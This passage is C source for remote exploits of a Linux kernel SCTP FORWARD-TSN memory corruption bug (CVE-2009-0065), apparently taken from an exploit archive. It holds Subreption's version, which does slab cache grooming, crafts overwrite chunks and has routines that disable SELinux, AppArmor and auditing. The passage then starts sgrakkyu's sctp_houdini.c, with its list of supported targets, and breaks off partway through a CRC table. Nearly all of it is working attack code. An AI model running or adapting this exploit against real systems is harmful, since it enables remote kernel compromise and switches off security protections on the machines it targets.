 773		else
 774			shift = shift_8000_to_ffff;
 775
 776		for (k = 0; k < 3; k++) {
 777			state->streams[x].id	= htons(fc);
 778			state->streams[x++].ssn = htons(shift[k]);
 779		}
 780
 781		state->streams[x].id	= htons(fc);
 782		state->streams[x++].ssn	= htons(c);
 783	}
 784
 785	if (verbose)
 786		fprintf(stdout, "[*] SSN stream ready (max. %u, len %u, ret %u).\n",
 787						MAX_STREAMS, ssnlen, x);
 788
 789	return x ? x : 0;
 790}
 791
 792/*
 793 * Prepares a SCTP FORWARD-TSN chunk containing a memory overwrite pattern.
 794 */
 795
 796int send_sctp_fwdtsnchunk(target_t *target, int nstreams, __u32 tsn)
 797{
 798	int				err			= 0;
 799	size_t			datalen		= sizeof(struct sctp_fwdtsn_hdr);
 800	unsigned char	*data		= NULL;
 801	conn_info_t		*state		= target->state;
 802	struct sctp_fwdtsn_hdr *fwdtsn_hdr = NULL;
 803
 804	datalen += nstreams * sizeof(struct sctp_fwdtsn_skip);
 805
 806	data = malloc(datalen);
 807	if (data == NULL) {
 808		perror("malloc");
 809		return -1;
 810	}
 811
 812	memset(data, 0, datalen);
 813
 814	fwdtsn_hdr = (struct sctp_fwdtsn_hdr *) data;
 815	fwdtsn_hdr->new_cum_tsn = htonl(tsn);
 816
 817	memcpy(data + sizeof(struct sctp_fwdtsn_hdr), state->streams,
 818			nstreams * sizeof(struct sctp_fwdtsn_skip));
 819
 820	send_sctp_chunk(target, (unsigned char *) data, datalen, SCTP_CID_FWD_TSN, 0);
 821
 822	wipe(data, datalen);
 823	free(data);
 824
 825	return err;
 826}
 827
 828/*
 829 * Prepares a SCTP INIT chunk containing new association settings.
 830 */
 831int send_sctp_initchunk(target_t *target)
 832{
 833	int		err			= 0;
 834	size_t	datalen		= 0;
 835	unsigned char *data = NULL;
 836	unsigned char *pos	= NULL;
 837	conn_info_t *state	= target->state;
 838	struct sctp_inithdr *inithdr = NULL;
 839	struct sctp_paramhdr *hdrpar = NULL;
 840	struct sctp_param_saddrtypes *saddrtypes = NULL;
 841
 842	if (!state->ssn_inbound || !state->ssn_outbound) {
 843		fprintf(stderr, "[!] incorrect inbound/outbound stream limit(s).\n");
 844		return -1;
 845	}
 846
 847	datalen += sizeof(struct sctp_inithdr);		/* base INIT chunk */
 848	datalen += sizeof(struct sctp_paramhdr);	/* FWD_TSN_SUPPORT parameter */
 849	datalen += sizeof(struct sctp_paramhdr);	/* ECN parameter */
 850	datalen += sizeof(struct sctp_param_saddrtypes); /* addr types parameter */
 851	datalen += 2; /* padding */
 852
 853	data = malloc(datalen);
 854	if (data == NULL) {
 855		perror("malloc");
 856		return -1;
 857	}
 858
 859	memset(data, 0, datalen);
 860	pos = data;
 861
 862	/* Size will be calculated by sctp_ssnmap_size(), yields kmalloc-128:
 863	 * sizeof(struct sctp_ssnmap) + (44 + 10) * sizeof(__u16) = 128 bytes
 864	 */
 865	inithdr = (struct sctp_inithdr *) pos;
 866	inithdr->init_tag				= htonl(state->in_vtag);
 867	inithdr->a_rwnd					= htonl(65535);
 868	inithdr->num_outbound_streams	= htons(state->ssn_outbound);
 869	inithdr->num_inbound_streams	= htons(state->ssn_inbound);
 870	inithdr->initial_tsn			= htonl(state->tsn);
 871
 872	/* ECN */
 873	pos += sizeof(struct sctp_inithdr);
 874	hdrpar = (struct sctp_paramhdr *) pos;
 875	hdrpar->type = 0x0080;
 876	hdrpar->length = htons(sizeof(struct sctp_paramhdr));
 877
 878	/* FWD_TSN_SUPPORT */
 879	pos += sizeof(struct sctp_paramhdr);
 880	hdrpar = (struct sctp_paramhdr *) pos;
 881	hdrpar->type = SCTP_PARAM_FWD_TSN_SUPPORT;
 882	hdrpar->length = htons(sizeof(struct sctp_paramhdr));
 883
 884	pos += sizeof(struct sctp_paramhdr);
 885	saddrtypes = (struct sctp_param_saddrtypes *) pos;
 886	saddrtypes->paramhdr.type = SCTP_PARAM_SUPPORTED_ADDRESS_TYPES;
 887	saddrtypes->paramhdr.length = htons(sizeof(struct sctp_param_saddrtypes));
 888	saddrtypes->types = htons(5);
 889
 890	send_sctp_chunk(target, (unsigned char *) data, datalen, SCTP_CID_INIT, 0);
 891
 892	wipe(data, datalen);
 893	free(data);
 894
 895	return err;
 896}
 897
 898/*
 899 * Prepares a SCTP COOKIE-ECHO chunk containing the association cookie.
 900 */
 901
 902int send_sctp_cookie_echo(target_t *target)
 903{
 904	int err = 0;
 905
 906	err = send_sctp_chunk(target, target->state->initack.cookie,
 907					target->state->initack.cookielen,
 908					SCTP_CID_COOKIE_ECHO, 0);
 909
 910	return err;
 911}
 912
 913/*
 914 * Reads a SCTP INIT-ACK chunk containing a response an INIT for the new
 915 * association.
 916 */
 917static int get_sctp_initack(target_t *target, int debug)
 918{
 919	int						i		 = 0;
 920	socklen_t				dstlen	 = sizeof(struct sockaddr);
 921	ssize_t					readlen  = 0;
 922	struct sctphdr			*sctphdr = NULL;
 923	struct sctp_inithdr		*initack = NULL;
 924	struct sctp_paramhdr	*cookiep = NULL;
 925	struct conn_info		*state	 = target->state;
 926	initack_args_t			*args	 = (initack_args_t *) &state->initack;
 927	unsigned char			*buf	 = args->buf + state->linkskip;
 928
 929	memset(args->buf, 0, args->buflen);
 930
 931	readlen = recvfrom(state->sock, args->buf, args->buflen, 0,
 932					(struct sockaddr *) &state->dstaddr, &dstlen);
 933	if ((readlen < 0) || !readlen) {
 934		perror("recvfrom");
 935		return -1;
 936	}
 937
 938	if ((unsigned int) readlen < (state->linkskip + sizeof(struct iphdr) +
 939			sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
 940			sizeof(struct sctp_inithdr) + sizeof(struct sctp_paramhdr)))
 941	{
 942		fprintf(stderr, "[!] Insufficient INIT-ACK packet length.\n");
 943		hexdump(args->buf, readlen);
 944		return -1;
 945	}
 946
 947	sctphdr = (struct sctphdr *) (buf + sizeof(struct iphdr));
 948	if (ntohl(sctphdr->vtag) != state->in_vtag) {
 949		fprintf(stderr, "[!] VTAG mismatch (expected 0x%08X, got 0x%08X).\n",
 950				state->in_vtag, ntohl(sctphdr->vtag));
 951		hexdump(args->buf, readlen);
 952		return -1;
 953	}
 954
 955	if (!pkt_has_sctp_chunk(buf, SCTP_CID_INIT_ACK)) {
 956		fprintf(stderr, "[!] Not a INIT-ACK chunk! (ABORT?).\n");
 957		hexdump(args->buf, readlen);
 958		return -1;
 959	}
 960
 961	initack  = (struct sctp_inithdr *) (buf + sizeof(struct iphdr) +
 962				sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr));
 963	cookiep  = (struct sctp_paramhdr *) (buf + sizeof(struct iphdr) +
 964			sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
 965			sizeof(struct sctp_inithdr));
 966
 967	if (debug)
 968		fprintf(stdout, "[+] Got INIT-ACK packet (%d bytes, init_tag %08X)\n",
 969				readlen - state->linkskip, ntohl(initack->init_tag));
 970
 971	args->init_tag = ntohl(initack->init_tag);
 972	args->tsn = ntohl(initack->initial_tsn);
 973	state->out_vtag = args->init_tag;
 974
 975	/* This could be done by processing all the parameters but it seems to go
 976	 * always first (on Linux 2.6).
 977	 */
 978	if (cookiep->type != SCTP_PARAM_STATE_COOKIE) {
 979		fprintf(stderr, "[!] First parameter isn't STATE_COOKIE.\n");
 980		hexdump((unsigned char *) cookiep, sizeof(struct sctp_paramhdr));
 981		return -1;
 982	}
 983
 984	args->cookielen = ntohs(cookiep->length) - sizeof(struct sctp_paramhdr);
 985	if (args->cookielen < sizeof(struct sctp_paramhdr)) {
 986		fprintf(stderr, "[!] Incorrect STATE_COOKIE length.\n");
 987		return -1;
 988	}
 989
 990	if (args->cookielen > (readlen - (state->linkskip + sizeof(struct iphdr) +
 991			sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
 992			sizeof(struct sctp_inithdr))))
 993	{
 994		fprintf(stderr, "[!] STATE_COOKIE length greater than packet size.\n");
 995		return -1;
 996	}
 997
 998	args->cookie = malloc(args->cookielen);
 999	if (args->cookie == NULL) {
1000		fprintf(stderr, "[!] Could not allocate memory for STATE_COOKIE.\n");
1001		return -1;
1002	}
1003
1004	memcpy(args->cookie, ((unsigned char *) cookiep) +
1005					sizeof(struct sctp_chunkhdr), args->cookielen);
1006
1007	if (debug) {
1008		fprintf(stdout, "[*] Cookie: ");
1009
1010		for (i = 0; i < (args->cookielen % 24); i++)
1011			fprintf(stdout, "%02X", args->cookie[i]);
1012
1013		fprintf(stdout, "... (%d bytes)\n", args->cookielen);
1014	}
1015
1016	return 0;
1017}
1018
1019/*
1020 * Reads a SCTP COOKIE-ACK chunk containing a response to our COOKIE-ECHO.
1021 */
1022int get_sctp_cookie_ack(target_t *target, int debug)
1023{
1024	int						err		= 0;
1025	struct conn_info		*state	= target->state;
1026	socklen_t				dstlen	= sizeof(struct sockaddr);
1027	ssize_t					readlen = 0;
1028	unsigned char			*buf	= state->initack.buf;
1029	size_t					buflen	= state->initack.buflen;
1030	struct sctphdr			*sctphdr = NULL;
1031
1032	memset(buf, 0, buflen);
1033
1034	readlen = recvfrom(state->sock, buf, buflen, 0, (struct sockaddr *)
1035					&state->dstaddr, &dstlen);
1036	if ((readlen < 0) || !readlen) {
1037		perror("recvfrom");
1038		return -1;
1039	}
1040
1041	if ((unsigned int) readlen < (sizeof(struct iphdr) +
1042			sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr)))
1043	{
1044		fprintf(stderr, "[!] Insufficient COOKIE-ACK packet length.\n");
1045		hexdump(buf, readlen);
1046		return -1;
1047	}
1048
1049	sctphdr = (struct sctphdr *) (buf + sizeof(struct iphdr));
1050
1051	if (ntohl(sctphdr->vtag) != state->in_vtag) {
1052		fprintf(stderr, "[!] VTAG mismatch (expected 0x%08X, got 0x%08X).\n",
1053				state->in_vtag, ntohl(sctphdr->vtag));
1054		hexdump(buf, readlen);
1055		return -1;
1056	}
1057
1058	if (!pkt_has_sctp_chunk(buf, SCTP_CID_COOKIE_ACK)) {
1059		fprintf(stderr, "[!] Not a COOKIE-ACK chunk! (ABORT?).\n");
1060		hexdump(buf, readlen);
1061		return -1;
1062	}
1063
1064	if (debug)
1065		fprintf(stdout, "[+] Got COOKIE-ACK packet (%d bytes).\n", readlen);
1066
1067	return err;
1068}
1069
1070/*
1071 * Poledancing in your slabs.
1072 */
1073int run_memory_leak_attack(target_t *target)
1074{
1075	int err = 0;
1076
1077	/* Not for public consumption :D */
1078	pthread_exit(NULL);
1079
1080	return err;
1081}
1082
1083static int _handle_secdisable(target_t *t, unsigned int idx, __u32 tsn)
1084{
1085	int err	= 0;
1086	size_t plen	= 0;
1087	unsigned char zero[4] = { 0, 0, 0, 0 };
1088
1089	if (t->info.flags & TARGET_FLAG_64BIT) {
1090		opts64_t *opts64 = (opts64_t *) t->opts;
1091		plen = (opts64->slubsize - opts64->chunksize) / 2;
1092
1093		err = make_ssn_payload(t, &opts64->secdisable[idx],
1094						sizeof(unsigned long long), plen);
1095		if (err < 0)
1096			goto bail_out;
1097
1098		if (verbose)
1099			fprintf(stdout, "[+] Will reset value at 0x%llX.\n",
1100							opts64->secdisable[idx]);
1101	} else {
1102		opts32_t *opts32 = (opts32_t *) t->opts;
1103		plen = (opts32->slubsize - opts32->chunksize) / 2;
1104
1105		err = make_ssn_payload(t, &opts32->secdisable[idx],
1106						sizeof(unsigned long), plen);
1107		if (err < 0)
1108			goto bail_out;
1109
1110		if (verbose)
1111			fprintf(stdout, "[+] Will reset value at 0x%lX.\n",
1112							opts32->secdisable[idx]);
1113	}
1114
1115	send_sctp_fwdtsnchunk(t, err, tsn);
1116
1117	err = make_ssn_payload(t, zero, sizeof(int), 0);
1118	if (err < 0) {
1119		fprintf(stdout, " failed!\n");
1120		return -1;
1121	}
1122
1123	//send_sctp_fwdtsnchunk(t, err);
1124
1125	return 0;
1126
1127bail_out:
1128	fprintf(stderr, "[!] failed to build stream!\n");
1129	return err;
1130}
1131
1132static int reset_security(target_t *t)
1133{
1134	if (t->info.flags & TARGET_FLAG_SELINUX) {
1135		fprintf(stdout, "[*] Disabling NSA SELinux in target host.\n");
1136		_handle_secdisable(t, 0, t->state->initack.tsn);
1137	}
1138
1139	if (t->info.flags & TARGET_FLAG_APPARMOR) {
1140		fprintf(stdout, "[*] Disabling Novell AppArmor in target host.\n");
1141		//_handle_secdisable(t, 1, t->state->initack.tsn);
1142	}
1143
1144	if (t->info.flags & TARGET_FLAG_AUDITOFF) {
1145		fprintf(stdout, "[*] Disabling audit subsystem in target host.\n");
1146		//_handle_secdisable(t, 2, t->state->initack.tsn);
1147	}
1148
1149	return 0;
1150}
1151
1152static int sctp_handshake(target_t *target, int debug)
1153{
1154	int err = 0;
1155	struct conn_info *state = target->state;
1156
1157	srandom(randseed());
1158	state->in_vtag = (__u32) (random() % 0xFFFFFFFF);
1159
1160	if (debug)
1161		fprintf(stdout, "[*] Starting a SCTP association with %s:%d.\n",
1162			state->dsthost, state->dstport);
1163
1164	/*
1165	 * This directly affects the result of the calculation in XXX().
1166	 * The result is then used in the kmalloc() call. Playing with these
1167	 * values is not recommended unless you are well aware of how to work with
1168	 * them.
1169	 */
1170	if (target->info.flags & TARGET_FLAG_SLAB) {
1171		state->ssn_inbound	= 10;
1172		state->ssn_outbound = 50;
1173	} else if (target->info.flags & TARGET_FLAG_SLUB) {
1174		state->ssn_inbound	= 10;
1175		state->ssn_outbound	= 10;
1176	} else {
1177		/* XXX calculate stream limits from target->info.slablen.
1178		 * This influences which kmalloc cache is used to sore our ssn stream.
1179		 */
1180		/* removed from shared exploit */
1181	}
1182
1183	/* INIT chunk handshake */
1184
1185	if (debug)
1186		fprintf(stdout, "[*] Sending INIT (in vtag=0x%08X)\n", state->in_vtag);
1187
1188	err = send_sctp_initchunk(target);
1189	if (err < 0) {
1190		fprintf(stderr, "[!] SCTP INIT failed.\n");
1191		return -1;
1192	}
1193
1194	if (debug)
1195		fprintf(stdout, "[*] Waiting for INIT-ACK...\n");
1196
1197	/* These should be zero already */
1198	state->initack.init_tag = 0;
1199	state->initack.cookielen = 0;
1200	state->initack.tsn = 0;
1201
1202	err = get_sctp_initack(target, debug);
1203	if ((err < 0) || (state->initack.cookie == NULL)) {
1204		fprintf(stderr, "[!] Failed to receive INIT-ACK.\n");
1205		return -1;
1206	}
1207
1208	/* Cookie exchange */
1209
1210	if (debug)
1211		fprintf(stdout, "[*] Sending COOKIE-ECHO...\n");
1212
1213	/* When sending a COOKIE ECHO, the endpoint MUST use the value of the
1214	 * Initial Tag received in the INIT ACK. = inittag from INIT-ACK
1215	 */
1216	err = send_sctp_cookie_echo(target);
1217	if (err < 0) {
1218		fprintf(stderr, "[!] Failed to send COOKIE-ECHO.\n");
1219		return -1;
1220	}
1221
1222	err = get_sctp_cookie_ack(target, debug);
1223	if (err < 0) {
1224		fprintf(stderr, "[!] Failed to receive COOKIE-ACK.\n");
1225		return -1;
1226	}
1227
1228	return err;
1229}
1230
1231static int cache_flush(target_t *target, int conns)
1232{
1233	int err = 0;
1234	int i;
1235	target_t *cur = NULL;
1236
1237	close_state_sockets(target->state);
1238
1239	fprintf(stdout, "[*] %s cache flush: Starting %d connections...\n",
1240			allocator_name(target->info.flags), conns);
1241
1242	for (i = 0; i < conns; i++) {
1243		cur = malloc(sizeof(struct target));
1244		if (cur == NULL) {
1245			perror("malloc");
1246			err = -1;
1247			break;
1248		}
1249
1250		memcpy(cur, target, sizeof(struct target));
1251
1252		cur->state = init_new_state();
1253		if (cur->state == NULL) {
1254			err = -1;
1255			break;
1256		}
1257
1258		memcpy(cur->state, target->state, sizeof(struct conn_info));
1259
1260		/* set correct source port to the incremental one */
1261		cur->state->srcport = target->state->srcport-(conns-1)+i;
1262		err = setup_state_sockets(cur->state);
1263		if (err < 0) {
1264			fprintf(stderr, "[!] %u: Cache flush socket setup failed.\n", i);
1265			break;
1266		}
1267
1268		err = sctp_handshake(cur, 0);
1269		if (err < 0) {
1270			fprintf(stderr, "[!] %u: SCTP association failed in cache flush.\n",
1271				i);
1272			break;
1273		}
1274
1275		close_state_sockets(target->state);
1276		wfree(cur->state, sizeof(struct conn_info));
1277		wfree(cur, sizeof(struct target));
1278
1279		cur->state = NULL;
1280		cur = NULL;
1281	}
1282
1283	if (i != conns)
1284		fprintf(stderr, "[!] Might help to increase source port (+%d)\n"
1285						"[!] Do NOT reuse the same port.\n", conns);
1286
1287	if (cur != NULL) {
1288		if (cur->state != NULL) {
1289			if ((cur->state->sock > 0) || (cur->state->rcvsock > 0))
1290				close_state_sockets(cur->state);
1291
1292			wfree(cur->state, sizeof(struct conn_info));
1293		}
1294
1295		wfree(cur, sizeof(struct target));
1296	}
1297
1298	if (!err) {
1299		err = setup_state_sockets(target->state);
1300		if (err < 0)
1301			fprintf(stderr, "[!] Failed to re-initialize sockets.\n");
1302
1303		fprintf(stdout, "[*] %s cache flush successful.\n",
1304				allocator_name(target->info.flags));
1305	}
1306
1307	return err;
1308}
1309
1310static int lets_prove_them_wrong(target_t *target)
1311{
1312	struct conn_info *state = target->state;
1313	int	err	= 0;
1314
1315	fprintf(stdout, "[*] Targeting %s (%s, %s).\n",
1316					target->info.kernel, arch_name(target->info.flags),
1317					allocator_name(target->info.flags));
1318
1319	state->initack.buflen = 8192;
1320	state->initack.buf = malloc(state->initack.buflen);
1321	if (state->initack.buf == NULL) {
1322		fprintf(stderr, "[!] Failed to allocate incoming packet buffer.\n");
1323		return -1;
1324	}
1325
1326	memset(state->initack.buf, 0, state->initack.buflen);
1327
1328	err = cache_flush(target, state->flush_conns);
1329	if (err < 0)
1330		goto out;
1331
1332	err = sctp_handshake(target, 1);
1333	if (err < 0) {
1334		fprintf(stderr, "[!] SCTP association handshake failed.\n");
1335		goto out;
1336	}
1337
1338  	/*
1339   	 * WE ARE ABOUT TO DISABLE A SECURITY SYSTEM DESIGNED BY VERY SMART PEOPLE WITH PhDs
1340     * HOLD YOUR BREATH
1341     */
1342	err = reset_security(target);
1343	if (err < 0)
1344		fprintf(stderr, "[!] Failed to disable security system(s).\n");
1345
1346	/* You may breathe again, don't pass out just yet */
1347
1348	/*
1349	err = send_sctp_fwdtsnchunk(target);
1350	if (err < 0) {
1351		fprintf(stderr, "[!] SCTP FORWARD-TSN failed.\n");
1352		goto out;
1353	}
1354	*/
1355
1356out:
1357	if (state->initack.buf != NULL)
1358		wfree(state->initack.buf, state->initack.buflen);
1359
1360	if (state->initack.cookie != NULL)
1361		wfree(state->initack.cookie, state->initack.cookielen);
1362
1363	return err;
1364}
1365
1366#define TARGET_INFO_FMT	""		\
1367		"\t[%u] %s\n"			\
1368		"\t\t Name:\t%s\n"		\
1369		"\t\t Flags:\t0x%08lX\n"
1370
1371static void print_targets(void)
1372{
1373	unsigned int i;
1374	unsigned int ntargets = (sizeof(supported_targets) / sizeof(struct target)) - 1;
1375	struct target *cur = NULL;
1376
1377	fprintf(stderr, "\nAvailable (supported) targets:\n\n");
1378
1379	for (i = 0; i < ntargets; i++) {
1380		cur = (struct target *) &supported_targets[i];
1381
1382		fprintf(stderr, TARGET_INFO_FMT, i, cur->info.kernel,
1383						cur->info.name, cur->info.flags);
1384
1385		/* Print target architecture information */
1386		fprintf(stderr, "\t\t Arch:\t%.8s (%s allocator)\n",
1387						arch_name(cur->info.flags), allocator_name(cur->info.flags));
1388
1389		/* Print the supported features for this target */
1390		if (!(cur->info.flags & TARGET_FLAG_DEBUG)) {
1391			fprintf(stderr, "\t\t Supported features:\n");
1392
1393			if (cur->info.flags & TARGET_FLAG_64BIT)
1394				fprintf(stderr, "\t\t\tIs a 64-bit target.\n");
1395
1396			if (cur->info.flags & TARGET_FLAG_SELINUX)
1397				fprintf(stderr, "\t\t\tDisables SELinux enforcement mode.\n");
1398
1399			if (cur->info.flags & TARGET_FLAG_APPARMOR)
1400				fprintf(stderr, "\t\t\tDisables AppArmor.\n");
1401
1402			if (cur->info.flags & TARGET_FLAG_AUDITOFF)
1403				fprintf(stderr, "\t\t\tDisables audit subsystem.\n");
1404		} else
1405			fprintf(stderr, "\t\t Is a debug target (trigger overflow only).\n");
1406
1407		fprintf(stderr, "\n");
1408	}
1409}
1410
1411static void usage(const char *progname)
1412{
1413	fprintf(stderr, "Usage: %s -s SOURCE -p SPORT -H TARGET -P PORT -t TARGET\n"
1414					"Example: %s -s 192.168.1.67 -d 192.168.1.12 -p 4200 -t 0\n"
1415					"Copyright (c) 2009 Subreption LLC. All rights reserved.\n",
1416					progname, progname);
1417	print_targets();
1418	exit(EXIT_FAILURE);
1419}
1420
1421struct target *select_target(const char *arg)
1422{
1423		unsigned int i = 0;
1424		unsigned int ntargets = (sizeof(supported_targets) / sizeof(struct target)) - 1;
1425		struct target *ret = NULL;
1426
1427		for (i = 0; i < ntargets; i++) {
1428			ret = (target_t *) &supported_targets[i];
1429
1430			if (!strcmp(arg, ret->info.name) || !strcmp(arg, ret->info.kernel))
1431				break;
1432			else
1433				ret = NULL;
1434		}
1435
1436		if (ret == NULL) {
1437			fprintf(stderr, "[!] failed to select target (%s provided).\n", arg);
1438			print_targets();
1439			exit(EXIT_FAILURE);
1440		}
1441
1442		ret->state = init_new_state();
1443		if (ret->state == NULL) {
1444			fprintf(stderr, "[!] failed to allocate memory for conn. state.\n");
1445			exit(EXIT_FAILURE);
1446		}
1447
1448		return ret;
1449}
1450
1451int main(int argc, char **argv)
1452{
1453	int flush_conns = 600;
1454	char *dsthost = NULL;
1455	char *srchost = NULL;
1456	unsigned short dstport = 0;
1457	unsigned short srcport = 0;
1458	struct target *target = NULL;
1459	struct conn_info *state = NULL;
1460	pthread_t threads[1];
1461	int err = 0;
1462	int c = -1;
1463
1464	if (getuid()) {
1465		fprintf(stderr, "[!] SOCK_RAW requires root privileges.\n");
1466		exit(EXIT_FAILURE);
1467	}
1468
1469	while ((c = getopt(argc, argv, "s:H:p:P:t:c:vh")) != EOF )
1470	{
1471		switch(c)
1472		{
1473			case 'h':
1474			case '?':
1475				usage(argv[0]);
1476				break;
1477			case 'p':
1478				srcport = (int) atoi(optarg);
1479				break;
1480			case 's':
1481				srchost = optarg;
1482				break;
1483			case 'H':
1484				dsthost = optarg;
1485				break;
1486			case 'P':
1487				dstport = (int) atoi(optarg);
1488				break;
1489			case 't':
1490				target = select_target(optarg);
1491				break;
1492			case 'c':
1493				flush_conns = (int) atoi(optarg);
1494				break;
1495			case 'v':
1496				verbose++;
1497				break;
1498			default:
1499				break;
1500		}
1501	}
1502
1503	if (target == NULL) {
1504		fprintf(stderr, "[!] must specify a target (-t arg).\n");
1505		print_targets();
1506		exit(EXIT_FAILURE);
1507	}
1508
1509	if ((srchost == NULL) || (dsthost == NULL)) {
1510		fprintf(stderr, "[!] need both -s SOURCE and -H TARGET hosts.\n");
1511		exit(EXIT_FAILURE);
1512	}
1513
1514	if (!dstport) {
1515		fprintf(stderr, "[!] need -P PORT destination port number.\n");
1516		exit(EXIT_FAILURE);
1517	}
1518
1519	srandom(randseed());
1520
1521	if (!srcport)
1522		srcport = (unsigned short) (flush_conns + (random() % 0xFFFF) - 1);
1523
1524	if (srcport < (flush_conns + 1)) {
1525		fprintf(stderr, "[!] src port %d must be greater than flush_conn %u.\n",
1526				srcport, flush_conns);
1527		exit(EXIT_FAILURE);
1528	}
1529
1530	state = target->state;
1531	state->srcport 		= srcport;
1532	state->srchost 		= srchost;
1533	state->dstport 		= dstport;
1534	state->dsthost 		= dsthost;
1535	state->flush_conns	= flush_conns;
1536
1537	if (resolver(&state->srcaddr, state->srchost) < 0) {
1538		fprintf(stderr, "[!] couldn't resolve the source address.\n");
1539		exit(EXIT_FAILURE);
1540	}
1541
1542	if (resolver(&state->dstaddr, state->dsthost) < 0) {
1543		fprintf(stderr, "[!] couldn't resolve the destination address.\n");
1544		exit(EXIT_FAILURE);
1545	}
1546
1547	if (setup_state_sockets(state) < 0) {
1548		perror("socket");
1549		fprintf(stderr, "[!] failed to setup sockets.\n");
1550		goto end;
1551	}
1552
1553	if (listen(state->rcvsock, 5) < 0) {
1554		perror("listen");
1555		fprintf(stderr, "[!] failed to listen on reception socket.\n");
1556		goto end;
1557	}
1558
1559	fprintf(stdout, "[+] Destination: %s:%d, source: %s:%d.\n",
1560					dsthost, dstport, srchost, srcport);
1561
1562	err = pthread_create(&threads[0], (pthread_attr_t *) NULL,
1563			(void *) &run_memory_leak_attack, (void *) target);
1564	if (err < 0) {
1565		fprintf(stderr, "[!] Failed to create thread for additional attack.\n");
1566		goto end;
1567	}
1568
1569	err = lets_prove_them_wrong(target);
1570	if (err < 0) {
1571		fprintf(stderr, "[!] SCTP exploit failed.\n");
1572		goto end;
1573	}
1574
1575	fprintf(stdout, "[+] Exiting.\n");
1576
1577end:
1578	if ((target != NULL) && (state != NULL))
1579		remove_state(state);
1580
1581	pthread_cancel(threads[0]);
1582	pthread_detach(threads[0]);
1583	pthread_exit(NULL);
1584
1585	if (err != 0)
1586		exit(EXIT_FAILURE);
1587
1588	return err;
1589}
1590
1591/* vim: set ts=4: */
1592

sgrakkyu’s version

Source code (C)

Originally available at http://sgrakkyu.antifork.org/sctp_houdini.c (Copyright (c) 2009 sgrakkyu)

   1/* CVE-2009-0065 SCTP FWD Chunk Memory Corruption 
   2 * Linux Kernel 2.6.x SCTP FWD Memory COrruption Remote Exploit 
   3 *
   4 * coded by: sgrakkyu <at> antifork.org
   5 * http://kernelbof.blogspot.com
   6 *
   7 *
   8 * NOTE: you need at least one sctp application bound on the target box 
   9 *
  10 * Supported target:
  11 * Ubuntu 7.04 x86_64 (2.6.20_15-17-generic / 2.6.20_17-server)
  12 * Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
  13 * Ubuntu 8.10 x86_64 (2.6.27_7-10 geenric/server)
  14 * Fedora Core 10 x86_64 (default installed kernel)
  15 * OpenSuse 11.1 x86_64  (default installed kernel) 
  16 */
  17
  18
  19
  20
  21#define _GNU_SOURCE
  22
  23#include <signal.h>
  24#include <sched.h>
  25#include <stdio.h>
  26#include <string.h>
  27#include <arpa/inet.h>
  28#include <unistd.h>
  29#include <sys/types.h>
  30#include <netinet/in.h>
  31#include <netinet/ip.h>
  32#include <netinet/sctp.h>
  33#include <stdlib.h>
  34#include <sys/wait.h>
  35#include <sys/time.h>
  36#include <sys/select.h>
  37#include <stdint.h>
  38
  39#define __OFFSET_PORT_64 62 // 92
  40#define __OFFSET_HOST_64 64 // 94
  41
  42//#define __TARGET_SPORT 20000
  43
  44
  45#ifndef __u8
  46#define __u8 uint8_t
  47#endif
  48
  49#ifndef __u16
  50#define __u16 uint16_t
  51#endif
  52
  53#ifndef __u32
  54#define __u32 uint32_t
  55#endif
  56
  57
  58
  59/* start crc routines: ripped from wireshark sources */
  60#define SP_LEN 2
  61#define DP_LEN 2
  62#define VTAG_LEN 4
  63#define CHK_LEN 4
  64#define HEADER_LEN    (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN) 
  65
  66
  67#define CRC32C(c,d) (c=(c>>8)^crc_c[(c^(d))&0xFF])
  68static int32_t crc_c[256] =
  69{
  700x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
  710xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
  720x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
  730x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
  740x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
  750xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
  760x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
  770x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
  780x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
  790xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
  800xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
  810x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
  820x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
  830xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
  840xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
  850x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
  860x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
  870x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
  880xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
  890x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
  900x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
  910x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
  920xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
  930x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
  940x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
  950xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
  960xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
  970x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
  980x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
  990xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
 1000xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
